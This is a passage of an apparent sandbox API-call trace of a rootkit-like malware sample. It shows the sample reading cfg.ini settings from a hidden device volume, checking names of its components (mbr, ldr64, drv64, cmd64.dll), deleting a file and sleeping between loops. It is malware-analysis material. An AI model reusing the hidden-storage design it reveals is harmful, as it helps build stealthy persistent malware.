Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.069] IdePortDispatch () returned 0x103 [0130.070] KeWaitForMutexObject () returned 0x0 [0130.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.070] KeLeaveCriticalRegion () [0130.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.070] KeEnterCriticalRegion () [0130.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.070] KeLeaveCriticalRegion () [0130.070] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.070] KeEnterCriticalRegion () [0130.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.070] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.070] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.070] KeLeaveCriticalRegion () [0130.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.071] KeEnterCriticalRegion () [0130.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.071] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0130.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.071] KeLeaveCriticalRegion () [0130.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.071] ReleaseMutex (hMutex=0xf0) returned 1 [0130.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.071] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.071] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.071] KeEnterCriticalRegion () [0130.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.071] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.071] IdePortDispatch () returned 0x103 [0130.071] KeWaitForMutexObject () returned 0x0 [0130.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.071] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.071] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.071] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.071] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.071] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08470 [0130.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.071] KeLeaveCriticalRegion () [0130.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.071] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.071] KeEnterCriticalRegion () [0130.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.072] KeLeaveCriticalRegion () [0130.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.072] KeEnterCriticalRegion () [0130.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.072] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.072] IdePortDispatch () returned 0x103 [0130.072] KeWaitForMutexObject () returned 0x0 [0130.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.072] KeLeaveCriticalRegion () [0130.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.072] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.072] KeEnterCriticalRegion () [0130.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1b000 [0130.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.072] IdePortDispatch () returned 0x103 [0130.072] KeWaitForMutexObject () returned 0x0 [0130.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.073] IdePortDispatch () returned 0x103 [0130.073] KeWaitForMutexObject () returned 0x0 [0130.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.073] KeLeaveCriticalRegion () [0130.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.073] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.073] KeEnterCriticalRegion () [0130.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.073] KeLeaveCriticalRegion () [0130.074] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.074] KeEnterCriticalRegion () [0130.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.074] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.074] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.074] KeLeaveCriticalRegion () [0130.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.074] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.074] KeEnterCriticalRegion () [0130.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.074] ExFreePoolWithTag (P=0xfffffa8003c08470, Tag=0x0) [0130.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.074] KeLeaveCriticalRegion () [0130.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.074] ReleaseMutex (hMutex=0xf0) returned 1 [0130.074] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.074] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.074] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.074] KeEnterCriticalRegion () [0130.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.074] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.074] IdePortDispatch () returned 0x103 [0130.074] KeWaitForMutexObject () returned 0x0 [0130.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.074] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.075] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.075] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08e10 [0130.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] KeLeaveCriticalRegion () [0130.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.075] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.075] KeEnterCriticalRegion () [0130.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] KeLeaveCriticalRegion () [0130.075] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.075] KeEnterCriticalRegion () [0130.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.075] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.075] IdePortDispatch () returned 0x103 [0130.075] KeWaitForMutexObject () returned 0x0 [0130.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] KeLeaveCriticalRegion () [0130.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.075] KeEnterCriticalRegion () [0130.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1c000 [0130.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.076] IdePortDispatch () returned 0x103 [0130.076] KeWaitForMutexObject () returned 0x0 [0130.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.076] IdePortDispatch () returned 0x103 [0130.076] KeWaitForMutexObject () returned 0x0 [0130.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.076] KeLeaveCriticalRegion () [0130.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.077] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.077] KeEnterCriticalRegion () [0130.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] KeLeaveCriticalRegion () [0130.077] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.077] KeEnterCriticalRegion () [0130.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.077] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] KeLeaveCriticalRegion () [0130.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.077] KeEnterCriticalRegion () [0130.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] ExFreePoolWithTag (P=0xfffffa8003c08e10, Tag=0x0) [0130.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] KeLeaveCriticalRegion () [0130.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.077] ReleaseMutex (hMutex=0xf0) returned 1 [0130.077] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.077] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.077] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.077] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.077] KeEnterCriticalRegion () [0130.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.077] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.077] IdePortDispatch () returned 0x103 [0130.078] KeWaitForMutexObject () returned 0x0 [0130.078] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.078] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.078] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.078] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.078] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.078] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.078] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.078] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.078] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.078] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.078] KeLeaveCriticalRegion () [0130.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.078] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.078] KeEnterCriticalRegion () [0130.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.078] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.078] IdePortDispatch () returned 0x103 [0130.079] KeWaitForMutexObject () returned 0x0 [0130.079] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.079] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.079] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.079] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.079] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.079] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.079] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.079] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.079] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.079] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.079] KeLeaveCriticalRegion () [0130.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.079] ReleaseMutex (hMutex=0x100) returned 1 [0130.079] Sleep (dwMilliseconds=0x2bf20) [0130.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70bc01f0, dwHighDateTime=0x1d24fa4)) [0130.086] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.087] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.087] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.087] KeEnterCriticalRegion () [0130.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.087] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.087] IdePortDispatch () returned 0x103 [0130.087] KeWaitForMutexObject () returned 0x0 [0130.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.087] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.087] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.087] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.087] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.087] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08dc0 [0130.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.087] KeLeaveCriticalRegion () [0130.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.087] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") 